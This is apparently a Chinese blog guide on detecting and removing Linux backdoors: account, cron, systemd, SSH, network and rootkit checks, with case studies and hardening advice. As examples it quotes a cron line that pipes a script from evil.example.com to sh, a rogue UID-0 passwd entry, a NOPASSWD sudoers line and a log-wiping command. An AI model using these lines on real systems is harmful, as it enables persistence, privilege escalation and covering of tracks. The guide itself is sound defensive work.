干了这么多年运维和应急响应,Linux后门排查这事儿,说难也难,说简单也简单。难的是后门手段千奇百怪,简单的是套路其实就那几样。我处理过不少次服务器被黑的情况,有的是一眼看出问题的挖矿程序,有的是藏了大半年的rootkit。今天把实践中的排查思路整理一遍,每个环节都带上我自己踩过的坑和验证过的命令,希望能给你一条能直接上手的路径。
这篇内容主要面向:接手了可疑服务器但没头绪的运维、刚入门的安全分析员,还有那些想确认自己的机器到底有没有被“留了东西”的技术同学。我会从后门分类讲起,逐步覆盖系统层、网络层、文件层和内核层,最后用几个典型的案例复盘整个处理过程。全程可操作,不含糊。
1. 后门排查先分清类型再动手
排查Linux后门最容易犯的错,就是一上来就满系统乱翻,查了一会儿什么都没查到就收工。后门的驻留方式五花八门,排查手段完全不一样,先把类型摸清楚,后续的工作才有方向。
1.1 常见Linux后门到底有哪几类
从我实际遇到的情况来看,Linux后门主要可以分为以下几类:
| 后门类型 | 典型技术手段 | 排查侧重点 |
|---|---|---|
| 账号后门 | 添加UID=0的账号、修改sudoers、植入SSH公钥 | 用户文件、认证文件 |
| Web后门 | 一句话木马、加密混淆的PHP/JSP脚本 | Web目录、访问日志 |
| 定时任务后门 | 在cron中写入下载执行命令 | crontab、系统定时任务文件 |
| 启动项后门 | 修改rc.local、systemd服务、init脚本 | 启动目录、服务列表 |
| SSH后门 | 软链接后门、LD_PRELOAD钩子、修改sshd配置 | SSH配置、认证日志、动态库 |
| 网络服务后门 | 监听高位端口、反向连接、ICMP隧道 | 端口、连接、流量特征 |
| Rootkit | 替换ps/ls/ss等系统命令、内核模块加载 | 文件完整性、内核模块、系统调用 |
这七个方面基本覆盖了99%的常见后门场景。内核级Rootkit在日常应急中出现概率低,但危害极大,排查逻辑和普通后门不同,我会单独展开。
1.2 核心排查原则:不信任正在运行的系统
排查后门之前,先把一条铁律刻在脑子里:当一台Linux机器被攻破后,你看到的ps、ls、netstat这些命令的输出,都不能盲目信任。攻击者拿到root权限后做的第一件事,往往就是替换这些常用命令,伪造一个“看起来很干净”的系统。
应对办法是使用静态编译的排查工具,或者挂载应急响应U盘从外部启动排查。实际处理中我更推荐后者,但要快速响应时,先用系统自带的工具筛查一遍,发现可疑点后用独立的busybox静态二进制去确认。这不是强迫症,而是实战里真实遇到过的教训——某次我排查一台机器,ps显示的进程列表干干净净,结果用busybox ps一看,多出了好几个伪装成系统进程的挖矿子进程。
2. 系统层排查:账号、定时任务、启动项与登录痕迹
系统层是后门驻留最密集的区域,因为实施门槛低、保持持久性容易。这部分排查需要细致,但逻辑不复杂,按模块逐项过一遍就能发现大多数隐患。
2.1 用户账号与特权账号检查
优先检查账号安全,看系统里有没有被添加了可疑用户,或者合法用户的权限被意外提升。
第一,对比精简权限模型下的用户列表。执行cat /etc/passwd,重点关注UID为0的用户,正常情况下一台服务器只应存在root一个UID为0的账号。如果出现test:x:0:0::/root:/bin/bash这样的记录,基本可以确认被留了超级账号后门。
第二,检查空密码或弱哈希。awk -F: '($2==""){print $1}' /etc/shadow能快速找出没有口令密码的用户。另外观察/etc/shadow中密码字段的哈希格式,如果是$1$开头的MD5格式,在如今的算力下很容易被爆破,这种账号也面临风险。
第三,检查SUID文件。普通用户不应拥有root权限的可执行文件。我每次排查都会执行find / -perm -4000 -type f 2>/dev/null,重点看/usr/bin、/usr/sbin、/tmp、/var/tmp这几个目录,这几个位置出现的异常SUID文件,通常是攻击者留下的特权后门。
第四,检查sudo权限配置。cat /etc/sudoers和ls /etc/sudoers.d/,看是否包含NOPASSWD和异常的用户授权。曾经遇到过攻击者在/etc/sudoers.d/下新建了一个文件,内容只有一行backup ALL=(ALL) NOPASSWD: ALL,这种隐蔽性很强,容易被忽略。
2.2 定时任务与启动项全量排查
定时任务和启动项是攻击者用来维持权限的重要手段,挖矿木马大多通过这个方式实现开机自启和断线重连。
排查时先覆盖crontab相关文件:执行crontab -l查看当前用户的计划任务,再查看/var/spool/cron/和/etc/crontab,以及/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/这些目录下的脚本内容。常见恶意计划任务的特征是包含wget、curl加外部域名下载,再拼接sh或bash执行,例如:
*/5 * * * * /usr/bin/curl -fsSL http://evil.example.com/x.sh | sh这种模式简直是把“我是挖矿”写在脸上,看到了基本不会有误判。
systemd服务同样不能漏掉。执行ls -la /etc/systemd/system/或/usr/lib/systemd/system/,检查文件时间较近、名字伪装成系统服务的单元文件。内容里重点关注ExecStart=参数是否指向了可疑脚本或二进制。
启动项排查方面,/etc/rc.local和/etc/rc.d/rc.local是两个经典位置,确认文件是否有执行权限,内容是否为合法开机命令。另外检查bash配置文件~/.bashrc、/etc/profile、/etc/profile.d/*.sh,攻击者会在这些文件里注入反向连接或下载后门,而且这类后门一旦攻击者再次登录服务器就会触发。
2.3 登录痕迹与历史命令的痕迹分析
查看登录痕迹能判断入侵者和后门的使用情况。last、lastlog和w能展示近期登录记录。重点观察非正常时段登录、异常来源IP、以及root直接远程登录的记录。若某些时段登录记录异常密集,说明攻击者正在大量尝试。
历史命令文件(~/.bash_history)也是重要线索来源。检查最后几十条命令,如果发现有人执行过useradd、chmod 4755、vi /etc/ssh/sshd_config这类操作,基本可以定位到入侵时的动作。有几个攻击者习惯清空历史记录,这时检查.bash_history文件的修改时间能提供旁证——文件时间戳异常的新或旧,或为空文件但shell还在正常使用,都应记录在案。
系统日志方面,/var/log/secure或/var/log/auth.log中搜索Failed password、Accepted publickey、new user、groupadd等关键字,通过时间线还原攻击路径。SSH日志里如果出现了大量来自陌生IP的成功登录记录,需要重点警觉,这往往代表对方正以合法途径进进出出,比传统后门更让人头疼。
3. 网络层排查:端口监听、外联连接与流量特征
很多后门不落盘,不写文件,只靠网络交互。这类后门在系统层的痕迹很少,但凡是后门,就必然要和外界通信。把网络层的检查做好,相当于抓住后门的通信尾巴。
3.1 监听端口与进程对应关系
排查监听端口,命令上优先用ss -tunlp,如果系统没有的话用netstat -tunlp。重点是查看监听地址是0.0.0.0还是::的端口,这些端口对全网开放,风险系数高。同时眼里要有一份“这台机器常见的合法端口清单”,一旦出现陌生的高位端口监听(如4444、5555、6667),就要看它对应的进程是什么。
拿到的进程名不要直接信任,比如进程显示为[kworker]或systemd-timesyncd,但这些名字在/proc对应目录里的可执行文件路径是/tmp/.x/bin,这就对不上了。用ls -l /proc/[pid]/exe查看真实的可执行文件路径,是验证进程身份很有效的一步。
3.2 外联连接与可疑流量分析
后门更常见的通信方式是主动外联,这样才能绕过防火墙入站限制。检查已建立的连接时,重点观察那些频繁连接陌生IP或非标准端口的会话。
我习惯先记录本地IP和端口基准,然后用ss -antp对比分析,看是否存在异常的ESTABLISHED连接。排查外联目标IP时,在无威胁情报平台可用的情况下,至少要做基本的归属地查询,再分析目标端口和连接频率。连接矿池和C2服务器的行为特征很典型:持续不断、间隔规律、目标IP固定单一。
抓包分析在某些场景下非常有效。比如发现了一个可疑的连接但不确定通信内容,用tcpdump -i eth0 host [目标IP]抓一段时间,分析载荷中是否存在可疑字符串、加密特征,或者明显的手动协议特征。曾经遇到过一个用DNS隧道做通信的后门,所有交互数据都隐藏在DNS查询记录里,系统层和常规端口扫描完全看不到,只有抓流量才能发现那个不断查询特定域名的异常模式。
3.3 网络后门快速排查脚本示例
分享一个我平时常用的快速脚本思路,可以直接保存为shell脚本使用:
#!/bin/bash echo "=== 监听端口 ===" ss -tunlp | sort -t: -k2 -n echo "=== 已建立外联 ===" ss -antp | grep ESTAB echo "=== 高CPU进程 ===" ps aux --sort=-%cpu | head -10 echo "=== /proc中的exe链接 ===" for pid in $(ls /proc | grep -E '^[0-9]+$'); do ls -l /proc/$pid/exe 2>/dev/null | grep -E '/tmp|/dev/shm|/var/tmp|deleted' done echo "=== 网络连接对应进程 ===" for pid in $(ss -antp | grep -oP 'pid=\K[0-9]+' | sort -u); do echo "PID: $pid" cat /proc/$pid/comm 2>/dev/null ls -l /proc/$pid/exe 2>/dev/null done这段脚本能快速定位异常监听、外联、高占用进程,以及从临时目录运行的进程,把整体状况摸清后再针对可疑对象深入分析。
4. 深入检查文件层与内核层:Rootkit与隐藏后门
网络层和系统层都查过后仍没发现异常时,就要考虑更高级的后门了。这类后门能隐藏进程、隐藏文件,对普通命令输出的信息进行过滤。这个层面需要一些“对抗”思维。
4.1 文件时间、完整性校验与日志排查
寻找最近被修改的可疑文件。攻击者入侵后必然要上传后门或修改配置,这些操作会留下时间戳痕迹。用find / -mtime -7 -type f \( -name "*.so" -o -name "*.bin" -o -name "*.ko" \) 2>/dev/null缩范围查找近期变化的文件,再和业务方确认哪些是合法更新。
文件完整性校验方面,基于不同系统使用不同手段。基于RPM的系统可用rpm -Va检查系统文件,基于Debian的系统可用debsums。检查输出的S(文件大小变化)、M(权限/属主变化)、5(MD5校验变化)都值得关注。这套方法依赖基线,很多业务服务器没有完整基线,但被替换的系统核心命令还是能从文件大小和日期中看出端倪,毕竟攻击者替换ps、ls时,二进制体积和正常版本会有差异。如果ps的大小和同版本系统差异超过几十KB,就该怀疑了。
日志方面,检查Web日志和系统日志中是否存在可疑脚本上传、命令注入等记录。/var/log下的日志如果被大量删除或篡改,这本身就是攻击痕迹。很多攻击者会执行cat /dev/null > /var/log/secure来清除登录日志,日志文件时间戳和内容的矛盾之处就是突破口。
4.2 典型Rootkit检测思路与注意事项
Rootkit分用户态和内核态。用户态Rootkit通过LD_PRELOAD劫持libc函数,系统里常表现为/etc/ld.so.preload中存在可疑路径文件,或者在/etc/ld.so.conf.d/中出现指向异常.so文件的配置。检查这两处要非常仔细,很多挖矿病毒就是通过ld.so.preload隐藏恶意进程和文件。
内核态Rootkit通过LKM加载内核模块,可用lsmod查看已加载模块,重点查看模块名和路径是否匹配,排查可疑模块。/proc/modules里隐藏的模块也不会显示,此时需要静态编译的工具查看,/sys/module目录下的内容有时能暴露痕迹。再配合dmesg日志观察有没有被刻意抹去的加载记录。
检测工具方面,chkrootkit和rkhunter是常用的扫描工具,但它们的误报率不低,我一般把它们当辅助参考,不作为最终结论。扫描到可疑项后用静态工具人工确认。曾经遇到过一台机器被rkhunter报了一堆“异常”,逐一排除后发现只是内核升级后未重启导致的“stale”状态,纯净系统也会误报。工具是手段,不是结论。
4.3 隐藏进程与隐藏文件的对抗排查
高级Rootkit会拦截readdir、getdents这些系统调用,让ls /proc看不到恶意进程,让ls /tmp看不到恶意文件。常规命令在这种场景下会“失灵”。应对方法上,有几个比较实用的思路:
一是利用/proc下不通过目录枚举直接访问PID。如果知道可疑进程PID,可以强制读取,因为即使ls /proc看不到,cat /proc/[pid]/cmdline可能仍能读到数据。
二是用静态编译的替代工具。放在U盘里的busybox、lsof和ps等静态版本,不依赖系统的动态库和函数表,在LD_PRELOAD劫持下依然能正常工作。
三是对比内存中的系统调用表。内核级Rootkit常通过修改sys_call_table来隐藏行为,通过文本段校验和特殊比对可以发现异常。这个手段需要一定内核基础,但应急时如果机器重要程度高,判断价值很大。
四是检查/proc/[pid]/maps中是否有来自/tmp、/dev/shm或匿名内存的可执行映射。恶意代码从内存直接执行的情况,在maps文件中会让异常区域暴露出来。
5. 实战案例复盘:从告警到清根的全过程
排查方法罗列再多,也得落到具体场景里才能看出真正价值。下面用几个处理过的案例复盘真实响应过程,这些场景有典型性,希望能帮你把前面的排查点串起来。
5.1 案例一:CPU飙高背后的挖矿木马处理
一个典型场景:某天半夜收到CPU使用率告警,登录后top显示一个叫kworkerds的进程占了300%多的CPU。进程名伪装成内核工作线程,光看名字确实容易迷惑。
我按流程走了一遍:先ls -l /proc/[pid]/exe确认真实路径显示为/tmp/.X11-unix/...,明显异常;再看该进程的网络连接,发现对外连接了一个矿池地址的4444端口;随后检查crontab,发现有一个每5分钟的下载脚本在反复拉取恶意文件。
处理思路是“先隔离再清理”:先把服务器从外网断开,保留现场;杀掉进程、删除恶意文件、清掉所有相关的计划任务和启动项;再核实系统中是否添加了新的SSH公钥,确认干净后修改所有账号密码并升级相关服务补丁。这台机器之后持续观察了两周,没有再复发。
这个案例给我的体会是:挖矿木马往往是入侵的表现而不是源头,杀掉挖矿进程只是止血,不修补入侵入口,木马会不断被拉起来。“为什么会被种上挖矿程序”这个问题的答案——弱密码、未修补漏洞、暴露的API接口——才值得花一半的时间去查。
5.2 案例二:SSH软链接后门与公钥后门
SSH软链接后门是面试经典题,也是实际中出现过的手法:在文件系统某个位置创建指向/usr/sbin/sshd的软链接,利用服务开启时偷偷残留的root权限文件描述符,恶意用户连接到该软链接端口时就能以root身份登录。
排查这种后门的关键在于看SSH连接日志和端口监听状态。软链接后门监听的是一个非标准端口,ss -tlnp查看监听端口时能看到sshd相关进程监听着额外的高位端口。通过对比同一进程的多个监听端口、检查系统里的异常软链接文件(用find / -type l -name "*sshd*"),可以揪出来。我见过的一次是软链接放在/tmp/su,利用的是管理员误以为SSH在跑新端口。
SSH公钥后门更常见,攻击者把公钥写入/root/.ssh/authorized_keys后,可以随时用自己的私钥免密登录服务器。排查方式就是逐人核对~/.ssh/authorized_keys里每一条公钥是否都能对应到合法管理员。已离职员工、未知的注释信息、在文件修改时间上出现异常的记录,都是排查指标。
5.3 案例三:安全加固与后续监控体系的搭建
处理的最终目的不是清除后门,而是防止下次再进来。每次做完应急响应后,我会顺手把安全水位拉高一层。
- SSH加固:禁用root密码登录,改用密钥认证;修改SSH默认端口(尽管治标不治本,但能挡住大量自动化扫描);安装
fail2ban针对暴力破解做自动封禁。 - 系统维护:保持系统和软件包定期更新;关闭不必要的服务和端口;卸载不需要的组件,减少暴露面。
- 监控告警:用
auditd监控关键文件(如/etc/passwd、/etc/crontab、SSH配置)的变更;设定CPU、连接数、日志异常等核心指标的告警阈值。 - 基线管理:对重要服务器的文件建立周期性校验的任务,把完整性检查自动化,定期执行。
这些工作不需要花哨的工具,每个Linux发行版都有自带能力,重点是把流程跑起来,让“检查”不只是应急时才做的事。
6. 总结与个人心得
Linux后门排查没有一劳永逸的方案,核心方法论就是“不信任、多验证、常复盘”。不信任系统命令输出,不信任看似正常的进程名,不信任文件大小一致就代表文件完好,多通过不同层面交叉验证,复现攻击路径并封装成检查流程。
最后分享一个体会:处理这类事件,心态比技术更重要。看到服务器被入侵,第一反应是慌,第二反应是立刻重装系统,但这两步都不该急着做。应该先做隔离和取证,把攻击面摸清楚,再谈修复。重装系统确实能清掉后门,但如果攻击者的入侵入口没有封住,重装后的新系统很快会被再次攻破。我在实际处理中每次都会把“这个后门是怎么进来的”作为排查核心,而不是只盯着“后门文件在哪儿”。
这些流程和命令我反复用了很久,确实是有效、可复盘的路径。你可以先从系统性排查练起,遇到具体问题再回头看对应的章节。实践得多了,那套“起疑、取证、确认、处置”的反应链就会形成本能。